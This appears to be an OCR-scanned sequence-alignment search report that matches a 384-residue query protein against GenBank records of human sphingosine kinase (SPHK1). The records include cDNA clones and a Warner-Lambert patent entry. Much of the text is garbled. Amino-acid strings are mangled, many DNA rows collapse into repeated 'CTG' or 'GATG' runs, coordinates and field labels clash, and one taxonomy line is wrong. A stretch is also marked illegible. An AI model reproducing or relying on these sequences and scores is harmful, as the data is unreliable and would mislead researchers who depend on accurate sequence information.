	KPLDSVLSIAGNLAASLNHHAGYEQVYNEDLLNCTLLCLRLLSPNNLSLHTASG		
	LRLSPVLSIANGFIADVDLESEKRVLGEMFTLTGTEFLALRTYGRGLAYLPVGRV		
	GSKTPASPVVVOGPDVAHLVPLEEPPVSHMTVVDDEFEVVLALLSHGSEMFAPAR		
	MGRCAVGMHLFVRYACYSRMLRLFLAMKGRHMECEPYLVVPPVAPRLPKKQK		
	KGVAVNDGELMVSALVQGVNPFNFVNSGCVPEPPSKPQMPPEPL"		
	1676..1681		
	/gene="SPHK1"		
BASE COUNT	279 a 529 c 556 g 329 t		
ORIGIN			
Alignment Scores:			
Pred. No.:	1.21e-163	Length:	1693
Score:	1962.00	Matches:	375
Percent Similarity:	98.18%	Conservative:	2
Best Local Similarity:	97.66%	Mismatches:	7
Query Match:	97.37%	Indels:	0
DB:	9	Gaps:	0
US-09-784-810A-2 (1-384) x AF266756 (1-1693)			
Qy	1	MetaspproAlaGlyGlyProArgGlyValLeuProArgProGysArgValLeuValLeu	20
Db	270	ATGATCCAGGCGGGGGGCCCCGGGGCGTGCCTCCGCGCCCTGCGCTGCTGCTG	329
Qy	21	LeuasnProAaGlyGlyGlyGlyLysAlaLeuGlnLeuPheArgSerHisValGlnPro	40
Db	330	CTGAACCCGCGCGCGGCAAGGCCACTTCGACGCTTCGCGAGTACAGTGCAGGCC	389
Qy	41	LeuLeuAlaGlnAlaGlnIleSerPheThrLeuMetLeuThrGlnAlaArgAsnHisAla	60

DB 390 CTTTGGCTGAGGCTGGAATCTCTTCACGCTGATGCTCACTAGAGGGGGAGACACCGG 449
OY 61 ArgGluLeuValArgSerGluLeuGluValArgTrpAspAlaLeuValMetSerGly 80
DB 450 CGGAGCTGCTGGCTCGAGAGACTGGCGCGGTGGAGACCTCTGGTGTCAATGCTGGA 509
OY 81 AspGlyLeuMetHisGluValValAsnGlyLeuMetGluValProAspTrpGluThrAla 100
DB 510 GAGGGCTGATGACAGAGGTGTGACGGGCTATGAGGGGCTGACTGGAGACCGCC 569
OY 101 IleGlnIysProLeuSerGluProAlaGlySerGlyAsnAlaLeuValSerLeu 120
DB 570 ATCCAGAACCCCTGTGATGCTCCAGACAGCTGAGCGGTGGACCGCTGGCAGCTTCTTG 629
OY 121 AsnHisTyrAlaGlyTyrGluGlnValIThrAsnGluAspLeuThrAsnGlyThrLeu 140
DB 630 AACCATTAATGCTGCTATGACAGAGTACCAATGAAAGACCTCTGACCAACAGACGCTA 689
OY 141 LeuLeuCysArgProValLeuSerProMetAsnLeuSerLeuHisThrAlaSerGly 160
DB 690 TTGCTGTGCGCGGCTGCTGCTGACCCATGACCTGCTGCTGACACGCGCTCGGGG 749
OY 161 LeuArgSerPheSerValLeuSerLeuAlaTrpGlyPheLeuAlaAspValAspLeu 180
DB 750 CTGCGCTCTTCTGCTGCTCAAGCTGGCGCTGGGGCTTCATGTGCTGATGAGACTAGAG 809
OY 181 SerAspLysTyrArgArgLeuGlyGluMetArgPheThrLeuGlyThrPheLeuArgLeu 200
DB 810 AGGAAAGATATCGCGCTGCGGAGATCGCTTCACTGCGGCACTTCTGCTGCTG 869
OY 201 AlaAlaLeuArgThrTyrArgArgLeuAlaThrLeuProValGlyArgValIlyPhe 220
DB 870 GCAGCCTGCGCAGCTACCGCGCGGCTGCGCTGCTGCTGCTGCTGCTGCTGCTGCTG 929
OY 221 LysThrProAlaSerProValValGlnGlnGlyProValAspAlaHisLeuValPro 240
DB 930 AAGACACCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 989
OY 241 LeuGluGlnValProSerHisThrPheLeuValProAspGluAspPheValLeuVal 260
DB 990 CTGGAGGAGCCAGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1049
OY 261 LeuAlaLeuLeuHisSerHisLeuAlaSerGluMetPheAlaAlaProMetGlyArgGly 280
DB 1050 CTGGACCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1109
OY 281 AlaAlaGlyValMetHisLeuPheTyrValArgAlaGlyValSerArgAlaMetLeu 300
DB 1110 GCAGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1169
OY 301 ArgLeuPheLeuAlaMetGluLysGlyArgHisMetGluTyrGluCysProTyrLeuVal 320
DB 1170 CGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1229
OY 321 TyrValProValAlaPheArgLeuGluProLysAspGlyLysGlyValPheAlaVal 340
DB 1230 TAGTGCCCGGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1289
OY 341 AspGlyGluLeuMetValSerGluValGlnGlyGlnValHisProAsnTyrPheTrp 360
DB 1290 GATGGGGAATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 1349
OY 361 MetValSerGlyCysValGluProProProSerTyrLysProGlnIleMetProProPro 380
DB 1350 ATGGTACGCGGTGGTGGAGCCCGCCAGCTGGAAGCCAGAGATGTCAGACCGGCA 1409
OY 381 GlnGluProLeu 384
DB 1410 GAAAGAGCCCTTA 1421

LOCUS AX127641 1719 bp DNA linear PAT 15-MAY-2001
DEFINITION Sequence 1 from Patent WO0131029.
ACCESSION AX127641
VERSION AX127641.1 GI:14134307
KEYWORDS
SOURCE
ORGANISM human.
Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
REFERENCE
AUTHORS Allen, J., Gosink, M., Melendez, A.J. and Takacs, L.
TITLE Human sphingosine kinase gene
JOURNAL Patent: WO 0131029-A 1 03-MAY-2001;
WARNER-LAMBERT COMPANY (US)
FEATURES
source location/Qualifiers
1. 1719
BASE COUNT 305 a 529 c 556 g 329 t
ORIGIN
Alignment Scores:
Pred. No.: 1,23e-163 Length: 1719
Score: 1962.00 Matches: 375
Percent Similarity: 98.18% Conservative: 2
Best Local Similarity: 97.66% Mismatches: 7
Query Match: 97.37% Indels: 0
Gaps: 0
US-09-784-810A-2 (1-384) x AX127641 (1-1719)
OY 1 MetAspProAlaGlyGlyProArgGlyValLeuProArgProCysArgValLeuValLeu 20
DB 270 ATGATATCAGCGGGCGGGCCCGCGGGCGTCTCCCGCGGCTGCTGCTGCTGCTGCTGCTG 329
OY 21 LeuAsnProArgGlyGlyGlyGlyValLeuGlnLeuPheArgSerHisValGlnPro 40
DB 330 CTGAACCCCGCGCGGCGGCAAGGCGGCTTGGACGCTTTCGGAATCGAGTCAAGTCAAGCC 389
OY 41 LeuLeuAlaGluAlaGluLeuSerPheThrLeuMetLeuThrGluAlaArgArgAsnHisAla 60
DB 390 CTTTGGCTGAGGCTGGAATCTCTTCACGCTGATGCTCACTAGAGCGGAGACACACGCG 449
OY 61 ArgGluLeuValArgSerGluLeuGluValArgTrpAspAlaLeuValMetSerGly 80
DB 450 CGGAGCTGCTGGCTCGAGAGACTGGCGCGGTGGAGACCTCTGGTGTCAATGCTGGA 509
OY 81 AspGlyLeuMetHisGluValValAsnGlyLeuMetGluValProAspTrpGluThrAla 100
DB 510 GAGGGCTGATGACAGAGGTGTGACGGGCTATGAGGGGCTGACTGGAGACCGCC 569
OY 101 IleGlnIysProLeuSerGluProAlaGlySerGlyAsnAlaLeuValSerLeu 120
DB 570 ATCCAGAACCCCTGTGATGCTCCAGACAGCTTGTGCAACGGCGCTGCGAGCTTCTTG 629
OY 121 AsnHisTyrAlaGlyTyrGluGlnValIThrAsnGluAspLeuThrAsnGlyThrLeu 140
DB 630 AACCATTAATGCTGCTATGACAGAGTACCAATGAAAGACCTCTGACCAACAGACGCTA 689
OY 141 LeuLeuCysArgProValLeuSerProMetAsnLeuSerLeuHisThrAlaSerGly 160
DB 690 TTGCTGTGCGCGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 749
OY 161 LeuArgSerPheSerValLeuSerLeuAlaTrpGlyPheLeuAlaAspValAspLeu 180
DB 750 CTGCGCTCTTCTGCTGCTCAAGCTGGCGCTGAGGCTTCATGTGCTGATGAGACTAGAG 809
OY 181 SerAspLysTyrArgArgLeuGlyGluMetArgPheThrLeuGlyThrPheLeuArgLeu 200
DB 810 AGTGAAGATATCGCGCTGCGGAGATCGCTTCACTGCGGACACTTCTGCGCTGCTG 869
OY 201 AlaAlaLeuArgThrTyrArgArgLeuAlaThrLeuProValGlyArgValIlyPhe 220

Db	870	GCAGCCCTGGCAGCACTACCGGGGGCGACGTGGCCACTCTCCCTGTAGAGAAAGTGGTTCC	923
Oy	221	LysThrProAlaSerProValValValGlnGlnGlyProValAspAlaHisLeuValPro	240
Db	930	AAGACACCTGGCTCCCGCTGTGTGGTCACAGAGGCCCGGTAAATGACACCTGTGGCA	989
Oy	241	LeuGlnGlnGlnValProSerHisTyrGlnValValProAspGluAspPheValLeuVal	260
Db	990	CTGAGAGAGCCAGTGGCCCTCTCACTGGACAGATGGTGCCCGCAGAGACTTGTGCTGATC	1049
Oy	261	LeuAlaLeuLeuHisSerHisLeuAlaSerGluMetPheAlaAlaProMetGlyArgCys	280
Db	1050	CTGGCACTGCTGCACACTGGCACCTGGCGACAGTAAATGTTTGGTCGACCACTGGCCCTGT	1109
Oy	281	AlaAlaGlyValMetHisLeuPheTyrValAlaArgAlaGlyValSerArgAlaMetLeuLeu	300
Db	1110	GCACCTGGCCGTCATGACATCTGTCTACGTGGCGGCGGAGTGTCTCGGCATCTGCTGTG	1169
Oy	301	ArgLeuPheLeuAlaMetGluLeuGlyArgHisMetGluTyrGluCysProTyrLeuVal	320
Db	1170	CGCCTCTTCCGTGGCGCATGAGAAAGGCGAGCATGAGATGGAATGCCCTCACTTGGTA	1229
Oy	321	TyrValProValValAlaAlaPheArgLeuGlnProLysAspGlyLysGlyValPheAlaVal	340
Db	1230	TATGTGGCCCGTGGTGGCTTCCGCTTGGAGCCCAAGATGGGAAAGTGTTTGGCACTG	1289
Oy	341	AspGlyLeuLeuMetValSerGluAlaValGlnGlyGlnValHisProAsnTyrPheTyrP	360
Db	1290	GATGGGGCAATGTAGTGTAGGAGAGGCCCTGCAGAGGCCAGTGGCAACCAACTACTTCTGG	1349
Oy	361	MetValSerGlyCysValGluProProProSerTyrLysProGlnGlnMetProProPro	380
Db	1350	ATGTGTACACGGTTTCGTGGAGCCCCCGCCAGCTGGAAGCCCCAGCATGCCACCGCA	1409
Oy	381	GluGluProLeu 384	
Db	1410	GAAGACGCCCTTA 1421	
RESULT 5			
AK023393		1772 bp mRNA linear PRI 01-AUG-2002	
LOCUS			
DEFINITION		Homo sapiens cDNA FLJ13311 fis, clone OVARC1001809, moderately	
ACCESSION		similar to Mus musculus sphingosine kinase (SPHK1a) mRNA.	
KEYWORDS		AK023393 1 GI:10435311	
SOURCE		oligo capping: fis (full insert sequence).	
ORGANISM		Homo sapiens ovary, tumor tissue cDNA to mRNA, clone_11b:OVARC1	
REFERENCE		clone:OVARC1001809.	
AUTHORS		Homo sapiens	
		EmuAyota, Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;	
		Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.	
		1	
		Isoagai,T., Ota,T., Hayashi,K., Sugiyama,T., Otsuki,T., Suzuki,Y.,	
		Nishikawa,T., Nagai,K., Sugano,S., Shizatori,A., Sudo,H.,	
		Wagatsuma,M., Hosofiri,T., Kaku,Y., Kodaira,H., Kondo,H.,	
		Sugawara,M., Takahashi,M., Chiba,Y., Ishida,S., Murakawa,K.,	
		Ono,Y., Takiguchi,S., Watanabe,S., Kimura,K., Murakami,K.,	
		Ishii,S., Kawai,Y., Saito,K., Yamamoto,J., Wakamatsu,A.,	
		Nakamura,Y., Nagahara,K., Masubo,Y., Ninomiya,K. and Iwayanagi,T.	
		NEO human cDNA sequencing project	
		Unpublished	
TITLE		2 (bases 1 to 1772)	
JOURNAL		Isogai,T. and Otsuki,T.	
REFERENCE		Direct Submission	
AUTHORS		Submitted (23-AUG-2000) Takao Isogai, Helix Research Institute,	
JOURNAL		Genomics Laboratory, 1532-3 Yana, Kisarazu, Chiba 292-0812, Japan	
		(E-mail:genom@shri.co.jp, Tel:81-438-52-3975, Fax:81-438-52-3986)	
		NEO human cDNA sequencing project supported by Ministry of	
		International Trade and Industry of Japan; cDNA full insert	
		sequencing: Research Association for Biotechnology; cDNA library	
		construction, 5'- & 3'-end one pass sequencing and clone selection;	
		Helix Research Institute (supported by Japan Key Technology Center	
		etc.) and Department of Virology, Institute of Medical Science,	
COMMENT			

FEATURES		University of Tokyo.	
Source		Location/Qualifiers	
	1..1772	/organism="Homo sapiens"	
	/db_xref="taxon:9606"		
	/clone="OVARC1001809"		
	/tissue_type="ovary, tumor tissue"		
	/clone_1ib="OVARC1"		
	/note="Cloning vector: pME18SFL3"		
	350..1504		
	/note="unnamed protein product"		
	/codon_start=1		
	/protein_id="BAB14558.1"		
	/db_xref="gi:10435312"		
	/translation="MDPAGGPRGVLPRPCRVILVLNPRGGKKALQLFRSHVOPLLA AEISFTLMTERRNHARELVRSEELGEVRMDALVYMSGDGLMHEVNGLMRPMDETAL KPIGLSPAGSNALASLNHYAGVQEWEDLTNCTLLCRLLSPMLLSHTAS LRLEPFLSLAMGEIADIVDLVLEERVSRRLGEMRTTIGFLALRLRYGRLAYVPA GSKTPSPVYVQGGPVADLVRPEEVRVPRMTVGVDPEDVLYALHSHLSGEMPA MRCAGAYMHLFTYRAGVSRAMLLRLFLAMEGRHNEYCPILVLYPVVAFRLPEPD KGFVFDDELMSVAVQGVGHNPNYFMVMSGVCEVPPSMRPMQMPPEBL"		
BASE COUNT	285 a 566 c 585 g 336 t		
ORIGIN			
Alignment Scores:			
Pred. No.:	1.28e-163	Length:	1772
Score:	1962.00	Matches:	375
Percent Similarity:	98.18%	Conservative:	2
Best Local Similarity:	97.66%	Mismatches:	7
Query Match:	97.37%	Indels:	0
DB:	9	Gaps:	0
US-09-784-810A-2 (1-384) x AK023393 (1-1772)			
QY	1 MetasppProAlaGlyGlyProArgGlyValLeuProArgProCysArgValLeuValLeu	20	
DB	350 ATGGATCCAGCGGGGGCCCCCGGGGGCGGTCTCCCGGGCGTGGTGTGCTG	4099	
QY	21 LeuAsnProArgGlyGlyGlyGlyValAlaLeuGlnLeuPheArgSerHisValGlnPro	40	
DB	410 CTGAACCGCGCGGGGGGCAAGGGCAAGGCGCTTGCGACCTCTCCGGATCAGCGACGCC	4659	
QY	41 LeuLeuAlaGlnAlaGlnLeuSerPheThrLeuMetLeuThrGluArgArgAsnHisAla	60	
DB	470 CTTTGGCGTAGAGCGTGAATCTCTTCAAGCTGATCTCACTAGAGCGGCGAACCAGCG	529	
QY	61 ArgGlnLeuValArgSerGlnGlnLeuGlyArgTrpAspAlaLeuValAlaMetSerGly	80	
DB	530 CGGGAGCTGGTCCGGTCGGAGAGCGTGGCCCGCTGGAGCGTCTGGTGCATGTCTGCA	5899	
QY	81 AspGlyLeuMetHisGlnValValAsnGlyLeuMetGlnArgProAspTrpGlnThrAla	100	
DB	550 GACGGGCTGATGCACGAGGTGGTGAACGGGGCTCATGAGACGGCTGACTGAGACCGCC	649	
QY	101 IleGlnLysProLeuCysSerLeuProAlaGlySerGlyAsnAlaLeuAlaAlaSerLeu	120	
DB	650 ATCCAGAAGCCCCCTGTTGATGCTCCAGCAGCGCTTGCAACACGCTGGCAGCTTCTTG	709	
QY	121 AsnHisThrAlaGlyTrpGlnGlnValThrAsnGlnAspLeuLeuThrAsnCysThrLeu	140	
DB	710 AACCAATTATGCTGGCTATAGCAGGTCACCAAGAGACCTCTTGACCAACTCCACGCTA	769	
QY	141 LeuLeuCysArgProValLeuSerPrometAsnLeuLeuSerLeuHisThrAlaSerGly	160	
DB	770 TTGCTGTGGCGCGGCTGCTGCACCCATGMACTCTGTCTTGCAACAGCGCTTGGGG	829	
QY	161 LeuArgSerPheSerValLeuSerLeuAlaTrpGlyPheIleAlaAspValAspLeuGln	180	
DB	830 CTGGCGCTCTTCTGTGCTCAAGCCGCGCTGGGCGCTTCAATGCTGATGCGACCTAGAC	889	
QY	181 SerAspLysTrpArgArgLeuGlnGlnMetArgPheThrLeuGlnThrPheLeuArgLeu	200	
DB	890 ACTGAGAAATATTCGGCGTGGGGGAGATGCGCTTACCTGGGCACTTCCCTGCGCTG	949	

OY		221	ythrProAlasePrcVAlValGInGlPrVAlAPalAhlsteuVlPro	240
Db		679	AAGACACTCCGCCCGGTGGTGCACAGAGGCGGATGAATGACACCTTTGCCA	738
OY		241	LeuAlIeuleuInuAlProSerHisTrpClnValValProAspGiuaSppHeVleuAl	260
Db		739	CTGGAGAGGCAAGTCGCCCTCTCATCTGACAGTGATGTCGCCAGAGACTTTGTCTAGTC	798
OY		261	LeuAlIeuleuInuHisSerHisLeuAlSerGIumetPheAlaIAPrometGIyArGys	280
Db		799	CTGGACACTGTCACACCAGCCTGGAGCGAGAATATTGTCGACACCAAGGCGCGCTT	858
OY		281	AlAlaIaGIyAlMethIsDeuPheTryValAtArgAlaGIyAlSerArgAlaMeLleuLeu	300
Db		859	GCACCTCGCCCTCATGTGATCTCTTACGTCGCGGCGGAGTCTCTGTCATAGTCAGTG	918
OY		301	ArgLeuPheLeuAlaMetGIuLySGIYArlHISmetGIuTYrGIuGysProTYrLeuVal	320
Db		919	GCGCTTCTCTGCGCATGTAGAGAGGCGAGCATATGATGATGAATGCCCTTACTTGPTA	978
OY		321	TyrAlaProValAlaAlaPheaArgLeuGIuProTyASpGIyLYSGIyAlAPheAlaVal	340
Db		979	TATGTCCCCGTGTGCCCTTCCCTTGTGGACCCAGAGATGGGAAGGATATGTTGGAGTG	1038
OY		341	AspGIyGIuLeuMetValSerGIuAlaValAlnGIyGIuAlValHISProAsnTYrPheTrp	360
Db		1039	GATGGGAAATGATGTATAGCGAGGCGCTGACGGCGACAGCGCACCCMAACTCTACTTGG	1098
OY		361	MetValSerGIyCYsaValGIuProProSerSerTPlySProGIuInmETPropProPro	380
Db		1099	ATGTGTACGGCGGTGTGCTGGACCCCGCCAGTCGAGAGCCCGACAGATGACACCGCA	1158
OY		381	GIuGIuGIuProLeu 384	
Db		1159	GAGAGGCCCTTA 1170	
RESULT 8				
BC008040				
LOCUS	BC008040	1824 bp	mRNA	linear PRI 12-JUL-2001
DEFINITION	Homo sapiens, clone MGC:15041 IMAGE:3831657, mRNA, complete cds.			
ACCESSION	BC008040			
VERSION	BC008040.1	GI:14165485		
KEYWORDS	MGC:			
SOURCE	Homo sapiens.			
ORGANISM	Homo sapiens			
	Xenarthra; Metazoa; Chordata; Craniata; Vertebrata; Eutelestomi;			
	Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.			
REFERENCE	1 (bases 1 to 1824)			
AUTHORS	Strausberg, R.			
TITLE	Direct Submission			
JOURNAL	Submitted (21-MAY-2001) National Institutes of Health, Mammalian Gene Collection (MGC), Cancer Genomics Office, National Cancer Institute, 31 Center Drive, Room 11A03, Bethesda, MD 20892-2590, USA			
REMARK	NIH-MGC Project URL: http://mgc.ncl.nih.gov			
COMMENT	Contact: MGC help desk Email: cgapbs@mail.nih.gov Tissue Procurement: ATCC/DCTD/DMP CDNA Library Preparation: Rubin Laboratory DNA Sequencing by: The I.M.A.G.E. Consortium (LLNL) http://www.systemsbioology.org Contact: amadan@systembioology.org Anup Madan, Rachel Dickhoff, Jessica Fahney, Stephanie Ford, Julia Greene, Mark Kettelman and Anuradha Madan			

Clone distribution: MGC clone distribution information can be found through the I.M.A.G.E. Consortium/LLNL at: http://image.llnl.gov Series: IRAL Plate: 24 Row: n Column: 4 This clone was selected for full length sequencing because it passed the following selection criteria: matched mRNA gi: 10433790. location/Qualifiers 1..1824

[illegible]

Db 981 CTGGGGAGATGCGCTTCACTCTGCGGACCTTCTCGCTGCGGACCGCTGCGACCTAC 1040
 Oy ArglyArgleuAlaThrleuProValGlyArgValGlyPheLysThrProAlaSerPro 226
 Db 1041 CGCGGCGGACTGGCTTCACTCTGCTGAGAGAGTGGGTCCAGACACCTGCTCCGCC 1100
 Oy ValValValGlnGlnGlnGlnProValAlaPheAlaHisLeuValProLeuGlnGlnValPro 246
 Db 1101 GTTGTGCTCCAGCGAGGCGCGGCTGATGACACACTTGTGGCACCTGAGGAGACCGAGTGGCC 1160
 Oy SerHisTrpGlnValValProAspGlnAspPheValLeuValLeuAlaLeuHisSer 266
 Db 1161 TCTCACTGACAGTGGTGGCCGACGAGGACTTGTGCTAGTCTGCGACCTGCTCCTCCTCG 1220
 Oy HisLeuAlaSerGluMetPheAlaAlaProMetGlyArgCysAlaAlaGlnValMetHis 286
 Db 1221 CACCTGGGCACTGAGATGTTTGTCTGACACCATGGGCGCGCTGTGAGCTGGGCTCATGCTAT 1280
 Oy LeuPheTrpValAlaAlaGlnValValSerArgAlaMetLeuLeuValGlnPheLeuAlaMet 306
 Db 1281 CTGTTTACGTGGGGGGGGAGTGTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1340
 Oy GlnLysGlyArgHisMetGlyTrpGlyCysProTrpLeuValTrpValProValAlaAla 326
 Db 1341 GAGAGGGGACGACATATGAGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 1400
 Oy PheArgLeuGlnPheProLysAspGlyLysGlyValPheAlaValAspGlyLysLeuMetVal 346
 Db 1401 TTTCCGCTTGGAGCCCAAGATGAGGAGGAGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1460
 Oy SerGlnAlaValGlnGlnGlnValAlaHisProAsnTrpPheTrpMetValSerGlyCysVal 366
 Db 1461 AGCAGAGGCGCGGAGGCGGAGGCTGACACCAACTACTCTGATGATGATGATGATGATGATG 1520
 Oy GlnProProProSerTrpLysProGlnGlnMetProProProGlnGlnProLeu 384
 Db 1521 GAGCCCCCGCCACCTGGAGAGCCCGACGATGCGCACCGCCAGAGAGCCCTTA 1574
 RESULT 11
 AK095578 2502 bp mRNA linear PRI 15-JUL-2002
 LOCUS Homo sapiens cDNA FLJ38259 f1s, clone FCBBF3001302, highly similar
 DEFINITION to Homo sapiens sphingosine kinase (SPHK1) mRNA.
 ACCESSION AK095578
 VERSION AK095578.1 GI:21754862
 KEYWORDS oligo capping: f1s (full insert sequence).
 SOURCE Homo sapiens fetal brain cDNA to mRNA, clone_lib:FCBBF3
 Clone:FCBBF3001302.
 ORGANISM Homo sapiens
 Eukaryota; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
 REFERENCE 1
 AUTHORS Kawakami, B., Sugiyama, A., Takemoto, M., Sugiyama, T., Irie, R.,
 Otsuki, T., Sato, H., Ota, T., Wakamatsu, A., Ishii, S., Yamamoto, J.,
 Isono, Y., Kawai, H., Y., Saito, K., M., M., M., M., M., M., M., M., M., M.,
 Yamashita, H., Matsuo, K., Nakamura, Y., Sekine, M., Kikuchi, H.,
 Kanda, K., Magatsuma, M., Murakawa, K., Kanehori, K.,
 Takahashi-Fujii, A., Oshima, A., Suzuki, Y., Sugano, S., Nagahara, K.,
 Masuho, Y., Nagai, K. and Isogai, T.
 TITLE NEDO human cDNA sequencing project
 JOURNAL Unpublished
 REFERENCE 2 (bases 1 to 2502)
 AUTHORS Isogai, T. and Yamamoto, J.
 JOURNAL Direct Submission
 COMMENT Submitted (04-JUL-2002) Takao Isogai: FLJ Project(HRI Team); 2-6-7
 Kazusa-Kamatari, Kisarazu, Chiba 292-0812, Japan
 (E-mail:genomics@hri.co.jp, Tel:81-438-52-3975, Fax:81-438-52-3986)
 NEDO human cDNA sequencing project supported by Ministry of
 Economy, Trade and Industry of Japan: cDNA full insert sequencing:
 Research Association for Biotechnology (RAB); cDNA library
 construction: Helix Research Institute (HRI) (supported by Japan
 Key Technology Center etc.); 5'- & 3'-end one pass sequencing: RAB,
 HRI, and Biotechnology Center, National Institute of Technology and

Evaluation; clone selection for full insert sequencing: HRI and
 RAB; annotation: HRI and RAB.
 FEATURES
 Source
 1..2502
 /organism="Homo sapiens"
 /db_xref="taxon:9606"
 /clone="FCBBF3001302"
 /tissue_type="brain"
 /clone_lib="FCBBF3"
 /dev_stage="fetal"
 /note="cloning vector: pME18SFL3"
 BASE COUNT 404 a 803 c 835 g 460 t
 ORIGIN
 Alignment Scores:
 Pred. No.: 7.65e-162 Length: 2502
 Score: 1944.00 Matches: 372
 Percent Similarity: 98.16% Conservative: 2
 Best Local Similarity: 97.64% Mismatches: 7
 Query Match: 96.48% Indels: 0
 DB: 9 Gaps: 0.
 US-09-784-810a-2 (1-384) x AK095578 (1-2502)
 Oy 4 AlaGlyGlyProAlaGlyValLeuProArgProCysArgValLeuValLeuLeuAsnPro 23
 Db 1087 GCGGGGCGGCGCGGGGGGGTCTCCCGGGCGCGCGCGCGTGTCTGTCTGTACACCG 1146
 Oy 24 ArgGlyGlyLysGlyLysAlaLeuGlnLeuPheArgSerHisValGlnProLeuLeuAla 43
 Db 1147 CGCGGCGGCAAGGCGCAAGGCGCTTCCGAGTCCGAGTCAAGTCAAGGCGCGCGCTTTGGCT 1206
 Oy 4 GlnAlaGlnLeuSerPheTrpPheTrpMetLeuTrpGlnArgArgAsnHisAlaArgGlnLeu 63
 Db 1207 GAGGCTGAATCTCTTACCTGATGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1266
 Oy 64 ValArgSerGlnGlnLeuGlyArgTrpAspAlaLeuValMetSerGlyAspGlyLeu 83
 Db 1267 GTGCGGTGCGAGAGAGCTGGCGCGTGGAGAGCTGCGTGGTGTGTGTGTGTGTGTGTGTGTGT 1326
 Oy 84 MetHisGlnValValAsnGlyLeuMetGlnArgProAspTrpGlnThrAlaIleGlnLys 103
 Db 1327 ATGACAGAGGTGTGAACGGGCTCATGAGAGGCGCTGACTGGAGACCGCATTCAGAGAG 1386
 Oy 104 ProLeuGlySerLeuProAlaGlySerGlyAsnAlaValAlaSerLeuAsnHisTrp 123
 Db 1387 CCCCTGTGTACCTCCAGCAGGCTGTGGCAACGCGCTGGACCTCTTGAACCATTTAT 1446
 Oy 124 AlaGlyTrpGlnGlnValThrAsnGlnAspLeuLeuThrAsnCysTrpLeuLeuLeuCys 143
 Db 1447 GCTGGCTATGAGCAGAGGTGACCAATGAGAACCTCTGACCAACTGACAGCTATTGCTGTGC 1506
 Oy 144 ArgProValLeuSerProMetAsnLeuLeuSerLeuHisTrpHisAlaSerGlyLeuArgSer 163
 Db 1507 CGCGGCGTGTGATCAACCATTAACCTGTGCTGTGCAACGCGCTTCCGGGCTCGCGCTC 1566
 Oy 164 PheSerValLeuSerLeuAlaTrpGlyPheIleAlaAspValAspLeuGlnSerAspLys 183
 Db 1567 TTTCTGTGCTCAGCTGCTGGCTGGCTGCTTCTTCTGCTGATGTGGACCTGAGAGAGAGAG 1626
 Oy 184 TyrArgArgLeuGlyGlnMetArgPheTrpLeuGlnGlyThrPheLeuArgLeuAlaLeu 203
 Db 1627 TATCGGCGTCTGGGGGAGATGCGCTTCACTGTGGGACACTTCTGCGTGGAGCGCTG 1686
 Oy 204 ArgThrTrpArgGlyArgLeuAlaThrLeuProValGlyArgValGlyPheLysThrPro 223
 Db 1687 CGCACCTACCGCGCGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1746
 Oy 224 AlaSerProValValGlnGlnGlnProValAlaPheAlaHisLeuValProLeuGlnGln 243
 Db 1747 GCTTCCCGCGT 1806
 Oy 244 GlnValProSerHisTrpGlnValValProAspGlnAspPheValLeuValLeuAlaLeu 263

|||||
Db 1807 CCAGTCCCTCTCAGTGGACAGTGGTCCCGGAGAGTCTGCTAGTCTGCGACTG 1866
OY 264 LeuHisSerHisLeuAlaSerGluMetPheAlaAlaProMetGlyArgCysAlaAlaGly 283
Db 1867 CTCACCTCGCAGCTGGGAGGATGATGTTGCTGACCCATGGCCGCTGTGACAGTGC 1926
OY 284 ValMetHisLeuPheTyrValArgAlaGlyValSerArgAlaMetLeuLeuArgLeuPhe 303
Db 1927 GTCATGATCTGTTCTACGTCGGGGGGGAGTGTCTGTCGATGCTGCTGCGCTCTTC 1986
OY 304 LeuAlaMetGluIysGlyArgHisMetGluTyrGluCysProTyrLeuValTyrValPro 323
Db 1987 CTGGCCTAGAGAGAGGAGGAGGATGATGATGATGATGATGATGATGATGATGATGATG 2046
OY 324 ValValAlaPheArgLeuGluProIysAspGlyLysGlyValPheAlaValAspGlyGlu 343
Db 2047 GTGGTCCCTCTCCCTGTCGAGCCCAAGATGGGAAAGTGTGTTCTCAGTGTGAGGGA 2106
OY 344 LeuMetValSerGluAlaValAlaGlnGlyGlnValHisProAsnTyrPheTyrMetValSer 363
Db 2107 TTGATGGTTACCGAGGCGGTGTCAGGCGGAGGTGTCACCCCAACTACTCTGATGTCAGC 2166
OY 364 GlyCysValGluProProSerTyrPlyProGlnMetProProProGluGluPro 383
Db 2167 GGTTCGTCGAGAGCCCGCCAGCTGAGAGCCCGAGAGATGTCACCGCCAGAGAGGCC 2226
OY 384 Leu 384
Db 2227 TTA 2229

RESULT 12
HSA245504 1428 bp mRNA linear PRI 22-MAY-2000
LOCUS HSA245504
DEFINITION Homo sapiens mRNA for sphingosine kinase (gene SPK).
ACCESSION AJ245504
VERSION AJ245504.1 GI:8017375
KEYWORDS sphingosine kinase; SPK gene.
SOURCE Homo sapiens.
ORGANISM Homo sapiens.
REFERENCE 1 (bases 1 to 1428)
AUTHORS Van Veldhoven, P.P. and Gijbers, S.
JOURNAL Unpublished
REFERENCE 2 (bases 1 to 1428)
